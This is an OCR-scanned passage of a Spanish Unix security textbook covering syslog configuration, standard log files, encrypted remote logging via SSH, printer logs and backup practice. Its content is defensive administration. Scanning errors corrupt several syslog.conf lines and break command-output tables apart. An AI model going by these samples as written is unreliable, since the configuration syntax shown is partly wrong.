tada a la red, ya que de esta manera se guardaria alii una copia de los mensajes de nuestro 
sistema y no podrian ser modificados en caso de que alguien entrase en nuestra maquina. Esto 
es especialmente util para detectar usuarios ‘ocultos’ en nuestro sistema (usuarios maliciosos 
que han conseguido los suficientes privilegios para ocultar sus procesos o su conexion): 

# Enviamos los mensajes de prioridad warning y superiores al 

# fichero "syslog" y todos los mensajes (incluidos los 

# anteriores) a la maquina "secure.upv.es" 

# 

*.warn /usr/adm/syslog 

*.* (Ssecure.upv.es 

• Unos usuarios del sistema (si estan conectados) 

Se especifica la lista de usuarios que deben recibir un tipo de mensajes simplemente escribiendo 
su login , separados por comas: 

# Enviamos los mensajes con la prioridad "alert" a root y toni 

# 

*. alert root, toni 

• Todos los usuarios que esten conectados 

Los errores con una prioridad de emergencia se suelen enviar a todos los usuarios que esten 
conectados al sistema, de manera que se den cuenta de que algo va mal: 

# Mostramos los mensajes urgentes a todos los usuarios 

# conectados, mediante wall 

* . =emerg * 


6.4 Algunos archivos de log 

En funcion de la configuration del sistema de auditoria de cada equipo Unix los eventos que sucedan 
en la maquina se registraran en determinados ficheros; aunque podemos loggear en cualquier fichero 
(incluso a traves de la red o en dispositivos, como veremos luego), existen ciertos archivos de registro 
‘habituales’ en los que se almacena information. A continuation comentamos los mas comunes y la 
information que almacenan. 

6.4.1 syslog 

El archivo syslog (guardado en /var/adm/ o /var/log/) es quizas el fichero de log mas importante 
del sistema; en el se guardan, en texto claro, mensajes relativos a la seguridad de la maquina, como 
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los accesos o los intentos cle acceso a ciertos servicios. No obstante, este fichero es escrito por 
syslogd, por lo que dependiendo de nuestro fichero cle configuration encontraremos en el archivo 
una u otra information. A1 estar guardado en formato texto, podemos visualizar su contenido con 
un simple cat: 

anita:/# cat /var/log/syslog 

Mar 5 04:15:23 anita in.telnetd[11632] : connect from localhost 
Mar 5 06:16:52 anita rpcbind: connect from 127.0.0.1 to getport(R ) 

Mar 5 06:16:53 anita last message repeated 3 times 

Mar 5 06:35:08 anita rpcbind: connect from 127.0.0.1 to getport(R ) 

Mar 5 18:26:56 anita rpcbind: connect from 127.0.0.1 to getport(R ) 

Mar 5 18:28:47 anita last message repeated 1 time 

Mar 5 18:32:43 anita rpcbind: connect from 127.0.0.1 to getport(R ) 

Mar 6 02:30:26 anita rpcbind: connect from 127.0.0.1 to getport(R ) 

Mar 6 03:31:37 anita rpcbind: connect from 127.0.0.1 to getport(R ) 

Mar 6 11:07:04 anita in. telnetd [14847] : connect from rosita 

Mar 6 11:40:43 anita in. telnetd [14964] : connect from localhost 
anita: /# 

6.4.2 messages 

En este archivo de texto se almacenan datos ‘informativos’ de ciertos programas, mensajes de baja 
o media prioridad destinados mas a informar que a avisar de sucesos importantes, como information 
relativa al arranque de la maquina; no obstante, como sucedia con el fichero syslog, en funcion de 
/etc/syslog. conf podremos guardar todo tipo de datos. Para visualizar su contenido es suficiente 
una orden como cat o similares: 

anita:/# head -70 /var/adm/messages 

Jan 24 18:09:54 anita unix: SunOS Release 5.7 Version Generic 
[UNIX (R) System V Release 4.0] 

Jan 24 18:09:54 anita unix: Copyright (c) 1983-1998, Sun Microsystems, Inc. 
Jan 24 18:09:54 anita unix: mem = 65152K (0x3fa0000) 

Jan 24 18:09:54 anita unix: avail mem = 51167232 
Jan 24 18:09:54 anita unix: root nexus = i86pc 
Jan 24 18:09:54 anita unix: isaO at root 

Jan 24 18:09:54 anita unix: pciO at root: space 0 offset 0 

Jan 24 18:09:54 anita unix: IDE device at targ 0, lun 0 lastlun 0x0 

Jan 24 18:09:54 anita unix: model WDC WD84AA, stat 50, err 0 

Jan 24 18:09:54 anita unix: cfg 0x427a, cyl 16383, hd 16, sec/trk 63 

Jan 24 18:09:54 anita unix: multi 0x8010, mult2 0x110, dwcap 0x0, 

cap 0x2f00 

Jan 24 18:09:54 anita unix: piomode 0x280, dmamode 0x0, advpiomode 

0x3 

Jan 24 18:09:54 anita unix: minpio 120, minpioflow 120 

Jan 24 18:09:54 anita unix: valid 0x7, dwdma 0x7, majver Oxle 

Jan 24 18:09:54 anita unix: ata_set_f eature : (0x66,0x0) failed 

Jan 24 18:09:54 anita unix: ATAPI device at targ 1, lun 0 lastlun 0x0 

Jan 24 18:09:54 anita unix: model CD-ROM 50X, stat 50, err 0 

Jan 24 18:09:54 anita unix: cfg 0x85a0, cyl 0, hd 0, sec/trk 0 

Jan 24 18:09:54 anita unix: multi 0x0, mult2 0x0, dwcap 0x0, cap OxfOO 

Jan 24 18:09:54 anita unix: piomode 0x400, dmamode 0x200, advpiomode 

0x3 

Jan 24 18:09:54 anita unix: minpio 227, minpioflow 120 

Jan 24 18:09:54 anita unix: valid 0x6, dwdma 0x107, majver 0x0 

Jan 24 18:09:54 anita unix: PCI-device: ata@0, ataO 
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Jan 24 18:09:54 anita unix: ataO is /pciOO , 0/pci-ide@7 , l/ata@0 

Jan 24 18:09:54 anita unix: DiskO: <Vendor 1 Gen-ATA 1 Product ’ WDC WD84AA ’> 

Jan 24 18:09:54 anita unix: cmdkO at ataO target 0 lun 0 

Jan 24 18:09:54 anita unix: cmdkO is /pciOO, 0/pci-ideQ7, l/ata00/cmdkQ0,0 

Jan 24 18:09:54 anita unix: root on /pciOO , 0/pci-ideQ7 , 1/ideOO/cmdkQO , 0 : a 

fstype ufs 

Jan 24 18:09:54 anita unix: ISA-device: asyO 

Jan 24 18:09:54 anita unix: asyO is /isa/asyOl ,3f8 

Jan 24 18:09:54 anita unix: ISA-device: asyl 

Jan 24 18:09:54 anita unix: asyl is /isa/asyOl , 2f 8 

Jan 24 18:09:54 anita unix: ISA-device: asy2 

Jan 24 18:09:54 anita unix: asy2 is /isa/pnpSUP, 1670@pnpSUP, 1670, 7ec2 

Jan 24 18:09:54 anita unix: Number of console virtual screens = 13 

Jan 24 18:09:54 anita unix: cpu 0 initialization complete - online 

Jan 24 18:09:54 anita unix: dump on /dev/dsk/c0d0sl size 86 MB 

Jan 24 18:09:55 anita unix: pseudo-device: pmO 

Jan 24 18:09:55 anita unix: pmO is /pseudo/pmOO 

Jan 24 18:09:56 anita unix: pseudo-device: volO 

Jan 24 18:09:56 anita unix: volO is /pseudo/vol@0 

Jan 24 18:09:57 anita icmpinfo: started, PID=213. 

Jan 24 18:09:57 anita unix: sdl at ataO: 

Jan 24 18:09:57 anita unix: target 1 lun 0 

Jan 24 18:09:57 anita unix: sdl is /pciOO, 0/pci-ide07,l/ataQ0/sdQl,0 

Jan 24 18:10:03 anita icmpinfo: ICMP_Dest_Unreacliable [Port] < 127.0.0.1 

[localhost] > 127.0.0.1 [localhost] sp=1664 dp=3200 seq=0x002e0000 sz=74(+20) 

Jan 24 18:10:03 anita unix: ISA-device: fdcO 

Jan 24 18:10:03 anita unix: fdO at fdcO 

Jan 24 18:10:03 anita unix: fdO is /isa/fdc01 ,3f0/fd00,0 

Jan 24 18:10:04 anita icmpinfo: ICMP_Dest_Unreachable [Port] < 127.0.0.1 

[localhost] > 127.0.0.1 [localhost] sp=2944 dp=161 seq=0x00420000 sz=92(+20) 

Jan 24 18:10:05 anita unix: ISA-device: asyO 

Jan 24 18:10:05 anita unix: asyO is /isa/asy@l ,3f8 

Jan 24 18:10:05 anita unix: ISA-device: asyl 

Jan 24 18:10:05 anita unix: asyl is /isa/asy@l , 2f 8 

Jan 24 18:10:05 anita unix: ISA-device: asy2 

Jan 24 18:10:05 anita unix: asy2 is /isa/pnpSUP, 16700pnpSUP, 1670, 7ec2 
an 24 18:10:08 anita icmpinfo: ICMP_Dest_Unreachable [Port] < 127.0.0.1 
[localhost] > 127.0.0.1 [localhost] sp=32780 dp=162 seq=0x00370000 sz=83(+20) 
Jan 24 18:10:35 anita unix: pseudo-device: xsvcO 
Jan 24 18:10:35 anita unix: xsvcO is /pseudo/xsvcOO 
anita: /# 


6.4.3 wtmp 

Este archivo es un fichero binario (no se puede leer su contenido directamente volcandolo con cat 
o similares) que almacena informacion relativa a cada conexion y desconexion al sistema. Podemos 
ver su contenido con ordenes como last: 


anita: /# 

last -10 

toni 

pts/11 

toni 

pts/11 

ftp 

ftp 

ftp 

ftp 

ftp 

ftp 

ftp 

ftp 


localhost Mon Mar 
rosita Sun Mar 
andercheran. aiin Sun Mar 
andercheran. aiin Sun Mar 
anita Thu Mar 
anita Thu Mar 


6 11:07 - 11:07 (00:00) 

5 04:22 - 04:25 (00:03) 

5 02:30 still logged in 
5 00:28 - 02:30 (02:01) 

2 03:02 - 00:28 (2+21:25) 
2 03:01 - 03:02 (00:00) 
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ftp 

ftp localhost 

Thu 

Mar 

2 

02:35 - 

03:01 

(00:26) 

root 

console 

Thu 

Mar 

2 

00:13 

still 

logged in 

reboot 

system boot 

Thu 

Mar 

2 

00:12 



root 

console 

Wed 

Mar 

1 

06:18 - 

down 

(17:54) 

anita: /# 









Los registros guardados en este archivo (y tambien en utmp) tienen el formato de la estructura 
utmp, que contiene information como el nombre de usuario, la Hnea por la que accede, el lugar 
desde donde lo hace y la hora de acceso; se puede consultar la pagina de manual de funciones como 
getutentO para ver la estructura concreta en el cion de Unix en el que trabajemos. Algunas 
variantes de Unix (como Solaris o IRIX) utilizan un fichero wtmp extendido denominado wtmpx, con 
campos adicionales que proporcionan mas information sobre cada conexion. 

6.4.4 utmp 

El archivo utmp es un fichero binario con information de cada usuario que esta conectado en un 
momento dado; el programa /bin/login genera un registro en este fichero cuando un usuario 
conecta, mientras que init lo elimina cuando clesconecta. Aunque habitualmente este archivo esta 
situado en /var/adm/, junto a otros ficheros de log , es posible encontrar algunos Unices - los mas 
antiguos que lo situan en /etc/. Para visualizar el contenido de este archivo podemos utilizar 
ordenes como last (indicando el nombre de fichero mediante la option -f), w o who: 


anita: /# 
root 

who 

console 

Mar 

2 

00:13 


root 

pts/2 

Mar 

3 

00:47 

(unix) 

root 

pts/3 

Mar 

2 

00:18 

(unix) 

root 

pts/5 

Mar 

2 

00:56 

(unix) 

root 

pts/6 

Mar 

2 

02:23 

(unix: 0.0) 

root 

pts/8 

Mar 

3 

00:02 

(unix: 0.0) 

root 

pts/7 

Mar 

2 

23:43 

(unix: 0.0) 

root 

pts/9 

Mar 

3 

00:51 

(unix) 

root 

anita: /# 

pts/10 

Mar 

6 

00:23 

(unix) 


Como sucedfa con wtmp, algunos Unices utilizan tambien una version extendida de utmp (utmpx) 
con campos adicionales. 

6.4.5 lastlog 

El archivo lastlog es un fichero binario guardado generalmente en /var/adm/, y que contiene un 
registro para cada usuario con la fecha y hora de su ultima conexion; podemos visualizar estos datos 
para un usuario dado mediante la orden finger: 

anita:/# finger toni 

Login name: toni In real life: Toni at ANITA 

Directory: /export/home/toni Shell: /bin/sh 

Last login Mon Mar 6 11:07 on pts/11 from localhost 
No unread mail 
No Plan, 
anita: /# 

6.4.6 faillog 

Este fichero es equivalente al anterior, pero en lugar de guardar information sobre la fecha y hora 
del ultimo acceso al sistema lo hace del ultimo intento de acceso de cada usuario; una conexion es 
fallida si el usuario (o alguien en su lugar) teclea incorrectamente su contrasena. Esta information 
se muestra la siguiente vez que dicho usuario entra correctamente a la maquina: 
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andercheran login: toni 
Password: 

Linux 2.0.33. 

1 failure since last login. Last was 14:39:41 on ttyp9. 

Last login: Wed May 13 14:37:46 on ttyp9 from pleione.cc.upv.es. 

andercheran : 

6.4.7 loginlog 

Si en algunas versiones de Unix (como Solaris) creamos el archivo /var/adm/loginlog (que origi- 
nalmente no existe) , se registraran en el los intentos fallidos de login, siempre y cuando se produzcan 
cinco o mas de ellos seguidos: 

anita:/# cat /var/adm/loginlog 
toni :/dev/pts/6: Thu Jan 6 07:02:53 2000 
toni : /dev/pts/6 : Thu Jan 6 07:03:00 2000 
toni : /dev/pts/6 : Thu Jan 6 07:03:08 2000 
toni: /dev/pts/6: Thu Jan 6 07:03:37 2000 
toni: /dev/pts/6: Thu Jan 6 07:03:44 2000 
anita: /# 

6.4.8 btmp 

En algunos clones de Unix, como Linux o HP-UX, el fichero btmp se utiliza para registrar las 
conexiones fallidas al sistema, con un formato similar al que wtmp utiliza para las conexiones que 
han tenido exito: 

andercheran: - # last 
pnvarro ttyql 
j omonra ttyq2 
PNAVARR0 ttyq4 
panavarr ttyq2 
vbarbera ttypO 
pangel ttyql 

abarra ttypO 

andercheran : ~# 

6.4.9 sulog 

Este es un fichero de texto donde se registran las ejecuciones de la orden su, indicando fecha, hora, 
usuario que lanza el programa y usuario cuya identidad adopta, terminal asociada y exito ( ‘ + ’ ) o 
fracaso (‘- ; ) de la operation: 

anita:/# head -4 /var/adm/ sulog 

SU 12/27 07:41 + console root-toni 

SU 12/28 23:42 - vtOl toni-root 

SU 12/28 23:43 + vtOl toni-root 

SU 12/29 01:09 + vt04 toni-root 

anita: /# 

6.4.10 debug 

En este archivo de texto se registra information de depuration (de debug) de los programas que se 
ejecutan en la maquina; esta information puede ser enviada por las propias aplicaciones o por el 
niicleo del sistema operativo: 


-f /var/adm/btmp I head -7 
terml04.aiind.up Wed Feb 
deportes . etsii .u Fri Feb 
term69.aiind.upv Wed Feb 
terml80.aiind.up Fri Jan 
daind03. etsii. up Thu Jan 
agarcia2 . ter . upv Thu Jan 
dtra-51 . ter .upv . Thu Jan 


9 16:27 - 15:38 (23:11) 

4 14:27 - 09:37 (9+19:09) 

2 12:56 - 13:09 (20+00:12) 
28 12:45 - 14:27 (7+01:42) 
27 20:17 still logged in 
27 18:51 - 16:27 (12+21:36) 
27 18:42 - 20:17 (01:34) 
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luisa:~# tail -8 /var/adm/debug 

Dec 17 18:51:50 luisa kernel: IS09660 Extensions: RRIP_1991A 
Dec 18 08:15:32 luisa sshd[3951]: debug: sshd version 1.2.21 
[i486-unknown-linux] 

Dec 18 08:15:32 luisa ssbd[3951]: debug: Initializing random number 
generator; seed file /etc/ssh_random_seed 

Dec 18 08:15:32 luisa ssbd[3951]: debug: inetd sockets after dupping: 7, 8 

Dec 18 08:15:34 luisa ssbd[3951]: debug: Client protocol version 1.5; client 

software version 1.2.21 

Dec 18 08:15:34 luisa ssbd[3951]: debug: Calling cleanup 0x800cf 90 (0x0) 

Dec 18 16:33:59 luisa kernel: VFS : Disk change detected on device 02:00 

Dec 18 23:41:12 luisa identd [2268] : Successful lookup: 1593 , 22 : toni. users 

luisa: ~# 

6.5 Logs remotos 

El demonio syslog permite facilmente guardar registros en maquinas remotas; de esta forma se 
pretende que, aunque la seguridad de un sistema se vea comprometida y sus logs sean modificados 
se puedan seguir registrando las actividades sospechosas en una maquina a priori segura. Esto se 
consigue definiendo un ‘L0GH0ST’ en lugar de un archivo normal en el fichero /etc/syslogd. conf 
de la maquina de la que nos interesa guardar informacion; por ejemplo, si queremos registrar toda 
la informacion de prioridad info y notice en la maquina remota rosita, lo indicaremos de la 
siguiente forma: 

* . =inf o ; * . =notice Orosita 

Tras modificar /etc/syslogd. conf hacemos que el demonio relea su fichero de configuration en- 
viandole la serial SIGHUP (por ejemplo, con kill). 

Por su parte, en el host donde deseemos almacenar los logs, tenemos que tener definido el puerto 
syslog en /etc/services y ejecutar syslogd con el parametro ‘-r’ para que acepte conexiones 
a traves de la red: 

rosita:"# grep syslog /etc/services 
syslog 514/udp 

rosita:"# ps xualgrep syslogd 

root 41 0.0 0.4 852 304 ? S Mar21 0:01 /usr/sbin/syslogd 

rosita:"# kill -TERM 41 
rosita:"# syslogd -r 
rosita: ~# 

A partir de ese momento todos los mensajes generados en la maquina origen se enviaran a la 
destino y se registraran segiin las reglas de esta, en un fichero (lo habitual), en un dispositivo. . .o 
incluso se reenviaran a otra maquina (en este caso hemos de tener cuidado con los bucles); si 
suponemos que estas reglas, en nuestro caso, registran los mensajes de la prioridad especificada 
antes en /var/adm/messages, en este archivo apareceran entradas de la maquina que ha enviado 
la informacion: 

rosita:"# tail -3 /var/adm/messages 

Mar 23 07:43:37 luisa syslogd 1.3-3: restart. 

Mar 23 07:43:46 luisa in.telnetd[7509] : connect from amparo 
Mar 23 07:57:44 luisa — MARK — 
rosita: ~# 

Esto, que en muchas situaciones es muy recomendable, si no se realiza correctamente puede incluso 
comprometer la seguridad de la maquina que guarda registros en otro equipo: por defecto, el 



6.5. LOGSREMOTOS 


101 


trafico se realiza en texto claro, por lo que cualquier atacante con un sniffer entre las clos maquinas 
puede tener acceso a information importante que habria que mantener en secreto; imaginemos 
una situation muy habitual: un usuario que teclea su password cuando el sistema le pide el login. 
Evidentemente, esto generara un mensaje de error que syslogd registrara; este mensaje sera similar 
a este (Linux Slackware 4): 

Mar 23 05:56:56 luisa login[6997]: invalid password for ‘UNKNOWN’X 
on ‘ttyp5’ from ‘amparo’ 

Pero, ique sucederia si en lugar de ‘UNKNOWN’ el sistema almacenara el nombre de usuario que se 
ha introducido, algo que hacen muchos clones de Unix? En esta situation el mensaje seria muy 
parecido al siguiente (Linux Red Hat 6.1): 

Mar 23 05:59:15 rosita login [3582]: FAILED LOGIN 1 FROM amparo F0R\ 

5k4@b&-, User not known to the underlying authentication module 

Como podemos ver se registraria una contraseha de usuario, contrasena que estamos enviando a 
la maquina remota en texto claro a traves de la red; evidentemente, es un riesgo que no podemos 
correr. Quizas alguien pueda pensar que una clave por si sola no representa mucho peligro, ya que 
el atacante no conoce el nombre de usuario en el sistema. De ninguna forma: el pirata solo tiene que 
esperar unos instantes, porque cuando el usuario teclee su login y su password correctamente (en 
principio, esto sucedera poco despues de equivocarse, recordemos que el usuario trata de acceder a 
su cuenta) el sistema generara un mensaje indicando que ese usuario (con su nombre) ha entrado 
al sistema. 

Para evitar este problema existen dos aproximaciones: o bien registramos logs en un equipo direc- 
tamente conectado al nuestro, sin emitir trafico al resto de la red, o bien utilizamos comunicaciones 
cifradas (por ejemplo con SSh) para enviar los registros a otro ordenador. En el primer caso solo 
necesitamos un equipo con dos tarjetas de red, una por donde enviar el trafico hacia la red local 
y la otra para conectar con la maquina donde almacenamos los logs , que solo sera accesible desde 
nuestro equipo y que no ha de tener usuarios ni ofrecer servicios; no es necesaria una gran potencia 
de calculo: podemos aprovechar un viejo 386 o 486 con Linux o FreeBSD para esta tarea. 

El segundo caso, utilizar comunicaciones cifradas para guardar registros en otro equipo de la red, 
requiere algo mas de trabajo; aqui no es estrictamente necesario que la maquina este aislada del 
resto de la red, ya que la transferencia de information se va a realizar de forma cifrada, consi- 
guiendo que un potential atacante no obtenga ningun dato comprometedor analizando el trafico; 
evidentemente, aunque no este aislado, es fundamental que el sistema donde almacenamos los logs 
sea seguro. Para enviar un log cifrado a una maquina remota podemos utilizar, como hemos dicho 
antes, SSH unido a las facilidades que ofrece syslogd; si lo hacemos asf, lo linico que necesitamos es 
el servidor sshd en la maquina destino y el cliente ssh en la origen. Por ejemplo, imaginemos que 
queremos utilizar a rosita para almacenar una copia de los registros generados en luisa conforme 
se vayan produciendo; en este caso vamos a enviar logs a un fifo con nombre, desde donde los cifra- 
remos con SSH y los enviaremos al sistema remoto a traves de la red. Lo primero que necesitamos 
hacer es crear un hchero de tipo tuberfa en la maquina origen, por ejemplo con mknod o mkfifo: 

luisa: ~# mknod /var/run/cifra p 
luisa: ~# chmod 0 /var/run/cifra 
luisa: ~# Is -1 /var/run/cifra 

p 1 root root 0 May 4 05:18 /var/run/cifra I 

luisa: ~# 

Este es el archivo al que enviaremos desde syslogd los registros que nos interesen, por ejemplo los de 
prioridad warn; hemos de modificar /etc/syslog. conf para ahadirle una linea como la siguiente: 

luisa: ~# tail -1 /etc/syslog. conf 
* . warn 
luisa: ~# 


I /var/run/ cif ra 
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A continuacion haremos que syslog relea su nueva configuration mediante la serial SIGHUP: 
luisa: - # ps xualgrep syslog I grep -v grep 

root 7978 0.0 0.2 1372 156 ? S 03:01 0:00 syslogd -m 0 

luisa: - # kill -HUP 7978 
luisa: - # 

Una vez realizados estos pasos ya conseguimos que se registren los eventos que nos interesan en 
el fichero /var/run/cifra; este archivo es una tuberia con nombre, de forma que los datos que 
le enviamos no se graban en el disco realmente, sino que solo esperan a que un proceso lector 
los recoja. Ese proceso lector sera justamente el cliente ssh, encargado de cifrarlos y enviarlos al 
sistema remoto; para ello debemos lanzar una orden como: 

luisa: - # cat /var/run/cifra I ssh -x rosita ’cat »/var/log/luisa’ 

Si tenemos configurado SSH para que autentique sin clave podemos lanzar el proceso directamente 
en background ; si tenemos que introducir la clave del root, una vez tecleada podemos parar el pro- 
ceso y relanzarlo tambien en segundo piano (esto es simplemente por comodidad, realmente no es 
necesario). Lo unico que estamos haciendo con este mecanismo es cifrar lo que llega al fifo y enviarlo 
de esta forma al sistema remoto, en el que se descifrara y se guardara en el fichero /var/log/luisa. 

Quizas nos interese ahadir unas lineas en los scripts de arranque de nuestra maquina para que 
este proceso se lance automaticamente al iniciar el sistema; si lo hacemos asi hemos de tener cui- 
dado con la autenticacion, ya que si ssh requiere una clave para conectar con el sistema remoto es 
probable que la maquina tarde mas de lo normal en arrancar si un operador no esta en la consola: 
justamente el tiempo necesario hasta que ssh produzca un timeout por no teclear el password de 
root en el sistema remoto. Si al producirse el timeout el programa ssh no devuelve el control al 
shell , el sistema ni siquiera arrancara; de cualquier forma, si ese timeout se produce no estaremos 
registrando ningun evento en la otra maquina. Por supuesto, tambien debemos prestar atencion a 
otros problemas con la maquina destino que eviten que la conexion se produzca, con un numero 
maximo de usuarios sobrepasado o simplemente que ese sistema este apagado. 


6.6 Registros fisicos 

Para asegurarnos mas de que la informacion que se registra de las actividades en nuestro sistema es 
fiable acabamos de explicar como almacenarla, a la vez que en un fichero de la propia maquina, en 
un equipo remoto a traves de la red; la idea es poder comparar los registros de ambos sistemas para 
detectar posibles modificaciones en una de ellas. Pero, ^que sucede si el atacante consigue tambien 
control sobre el segundo equipo, y modifica tambien ahf los ficheros de logl Aunque a priori este 
sea un sistema seguro, sabemos que nadie nos puede garantizar la seguridad al 100%; en algunos 
casos (por ejemplo si sospechamos que el intruso ha conseguido el control de ambos equipos) es 
conveniente recurrir a registros ffsicos, mucho mas diffciles de alterar que los logicos. 

No siempre se guarda informacion en un fichero piano, ya sea local o remoto. Unix permite al- 
macenar mensajes en ficheros especiales - dispositivos como terminales o impresoras; son estas 
ultimas las mas habituales por la seguridad que ofrecen, ya que mientras que un intruso con el 
privilegio suficiente puede modificar un fichero de log local, o acceder a un sistema donde se alma- 
cenen registros remotos, no puede eliminar una informacion extrafda por impresora sin tener acceso 
fisico a la misma. El demonio syslog de cualquier sistema Unix permite especificar uno de estos 
ficheros especiales como destinatario de ciertos registros de una forma muy simple: no tenemos 
mas que ahadir una entrada en /etc/syslog . conf indicando el dispositivo y la clase de eventos 
a registrar en el; por ejemplo, para enviar todos los mensajes de prioridad warn a una impresora 
(como /dev/lpl) no tenemos mas que ahadir en el archivo la lfnea siguiente: 


* . warn 


/dev/lpl 
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Como siempre, tras modificar el fichero de configuration hemos de hacer que el demonio lo relea, 
bien enviandole la serial SIGHUP o bien deteniendolo y volviendolo a lanzar; por ultimo, si clecidimos 
utilizar una impresora para generar registros fisicos hemos de intentar que se trate de un modelo 
de agujas, ya que dispositivos mas modernos utilizan buffers que no se llegan a imprimir hast a 
que estan llenos, por lo que serfa posible para un atacante hacer que se pierda cierta information. 
Hemos de evitar especialmente algunos modelos nuevos de impresoras que tienen incluso sistema 
de red y direction IP para control remoto, ya que en este caso puede suceder que un pirata llegue 
a controlar el dispositivo igual que controla la maquina que envfa los registros. 

Otro tipo de registro ffsico, mas basico e incluso mas hable que el anterior, pero que por des- 
gracia no se suele utilizar mucho, son las propias anotaciones sobre la marcha del sistema que 
todo administrador cleberia realizar en una especie de ‘cuaderno de bitacora’ de cada equipo. Evi- 
dentemente la linica persona con acceso a dicho cuaderno deberia ser el administrador, y deberfa 
guardarse en un lugar seguro, aplicando las mismas polfticas que por ejemplo aplicamos a las cintas 
de backup (alejadas del entorno de operaciones para prevenir la perdida ante un desastre ffsico, 
almacenadas bajo Have. . . ). 
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Capftulo 7 


Copias de seguridad 


7.1 Introduction 

Las copias de seguridad del sistema son con frecuencia el linico mecanismo de recuperacion que 
poseen los administradores para restaurar una maquina que por cualquier motivo - no siempre se 
ha de tratar de un pirata que borra los discos - ha perdido datos. Por tanto, una correcta pobtica 
para realizar, almacenar y, en caso de ser necesario, restaurar los backups es vital en la planificacion 
de seguridad de todo sistema. 

Asociados a los backups suelen existir unos problemas de seguridad tipicos en muchas organiza- 
ciones. Por ejemplo, uno de estos problemas es la no verification de las copias realizadas: el 
administrador ha disehado una politica de copias de seguridad correcta, incluso exhaustiva en mu- 
chas ocasiones, pero nadie se encarga de verificar estas copias. . .hasta que es necesario restaurar 
ficheros de ellas. Evidentemente, cuando llega ese momento el responsable del sistema se encuentra 
ante un gran problema, problema que se podria haber evitado simplemente teniendo la precaution 
de verificar el correcto funcionamiento de los backups; por supuesto, restaurar una copia completa 
para comprobar que todo es correcto puede ser clemasiado trabajo para los metodos habituales 
de operation, por lo que lo que se suele hacer es tratar de recuperar varios ficheros aleatorios del 
backup , asumiendo que si esta recuperacion funciona, toda la copia es correcta. 

Otro problema clasico de las copias de seguridad es la politica de etiquetado a seguir. Son po- 
cos los administradores que no etiquetan los dispositivos de backup, algo que evidentemente no es 
muy util: si llega el momento de recuperar ficheros, el operador ha de ir cinta por cinta (o disco 
por disco, o CD-ROM por CD-ROM. . . ) tratando de averiguar clonde se encuentran las ultimas 
versiones de tales archivos. No obstante, muchos administradores siguen una politica de etiquetado 
exhaustiva, proporcionando todo tipo de detalles sobre el contenido exacto de cada medio; esto, 
que en principio puede parecer una position correcta, no lo es tanto: si por cualquier motivo un 
atacante consigue sustraer una cinta, no tiene que investigar mucho para conocer su contenido exac- 
to, lo que le proporciona acceso a information muy concreta (y muy valiosa) de nuestros sistemas 
sin ni siquiera penetrar en ellos. La politica correcta para etiquetar los backups ha de ser tal que 
un administrador pueda conocer la situation exacta de cada fichero, pero que no suceda lo mismo 
con un atacante que roba el medio de almacenamiento; esto se consigue, por ejemplo, con codigos 
impresos en cada etiqueta, codigos cuyo significado sea conocido por los operadores de copias de 
seguridad pero no por un potential atacante. 

La ubicacion final de las copias de seguridad tambien suele ser erronea en muchos entornos; general- 
mente, los operadores tienden a almacenar los backups muy cerca de los sistemas, cuando no en la 
misma sala. Esto, que se realiza para una mayor comodidad de los tecnicos y para recuperar ficheros 
facilmente, es un grave error: no hay mas que imaginar cualquier desastre del entorno, como un 
incendio o una inundation, para hacerse una idea de lo que les sucederia a los backups en esos casos. 
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Evidentemente, se destruirf an junto a los sistemas, por lo que nuestra organization perderia toda su 
informacion; no obstante, existen voces que reivindican como correcto el almacenaje de las copias 
de seguridad junto a los propios equipos, ya que asf se consigue centralizar un poco la seguridad 
(protegiendo una unica estancia se salvaguarda tanto las maquinas como las copias). Lo habitual en 
cualquier organization suele ser un termino medio entre ambas aproximaciones: por ejemplo, pode- 
mos tener un juego de copias de seguridad completas en un lugar diferente a la sala de operaciones, 
pero protegido y aislado como esta, y un juego para uso diario en la propia sala, de forma que los 
operadores tengan facil la tarea de recuperar ficheros; tambien podemos utilizar armarios ignifugos 
que requieran de ciertas combinaciones para su apertura (combinaciones que solo determinado per- 
sonal ha de conocer), si decidimos almacenar todos los backups en la misma estancia que los equipos. 

Por ultimo, /que almacenar? Obviamente debemos realizar copias de seguridad de los archivos 
que sean unicos a nuestro sistema; esto suele incluir directories como /etc/, /usr/local/ o la 
ubicacion de los directories de usuario (dependiendo del Unix utilizado, /export/home/, /users/, 
/home/...). Por supuesto, realizar una copia de seguridad de directories como /dev/ o /proc/ 
no tiene ninguna utilidad, de la misma forma que no la tiene realizar backups de directories del 
sistema como /bin/ o /lib/: su contenido esta almacenado en la distribution original del sistema 
operativo (por ejemplo, los CD-ROMs que utilizamos para instalarlo) . 


7.2 Dispositivos de almacenamiento 

Existen multitud de dispositivos diferentes donde almacenar nuestras copias de seguridad, desde 
un simple disco flexible hasta unidades de cinta de ultima generation. Evidentemente, cada uno 
tiene sus ventajas y sus inconvenientes, pero utilicemos el medio que utilicemos, este ha de cumplir 
una norma basica: ha de ser estandar. Con toda probabilidad muchos administradores pueden 
presumir de poseer los streamers mas modernos, con unidades de cinta del taniaho de una cajetilla 
de tabaco que son capaces de almacenar gigas y mas gigas de informacion; no obstante, utilizar 
dispositivos de ultima generation para guardar los backups de nuestros sistemas puede convertirse 
en un problema: /que sucede si necesitamos recuperar datos y no disponemos de esa unidad lectora 
tan avanzada? Imaginemos simplemente que se produce un incendio y desaparece una maquina, y 
con ella el dispositivo que utilizamos para realizar copias de seguridad. En esta situation, o dispo- 
nemos de otra unidad identica a la perdida, o recuperar nuestra informacion va a ser algo dificil. 
Si en lugar de un dispositivo moderno, rapido y seguramente muy fiable, pero incompatible con el 
resto, hubieramos utilizado algo mas habitual (una cinta de 8mm., un CD-ROM, o incluso un disco 
duro) no tendriamos problemas en leerlo desde cualquier sistema Unix, sin importar el hardware 
sobre el que trabaja. 

Aqui vamos a comentar algunos de los dispositivos de copia de seguridad mas utilizados hoy en dfa; 
de todos ellos (o de otros, no listados aquf) cada administrador ha de elegir el que mas se adapte a 
sus necesidades. En la tabla 7.1 se muestra una comparativa de todos ellos. 

Discos flexibles 

Si, aunque los clasicos diskettes cada dfa se utilicen menos, aiin se pueden considerar un dispositivo 
donde almacenar copias de seguridad. Se trata de un medio muy barato y portable entre diferen- 
tes operativos (evidentemente, esta portabilidad existe si utilizamos el disco como un dispositivo 
secuencial, sin crear sistemas de ficheros). Por contra, su fiabilidad es muy baja: la informacion 
almacenada se puede borrar facilmente si el disco se aproxima a aparatos que emiten cualquier tipo 
de radiation, como un telefono movil o un detector de metales. Ademas, la capacidad de almace- 
namiento de los floppies es muy baja, de poco mas de 1 MB por unidad; esto hace que sea casi 
imposible utilizarlos como medio de backup de grandes cantidades de datos, restringiendo su uso a 
ficheros individuates . 

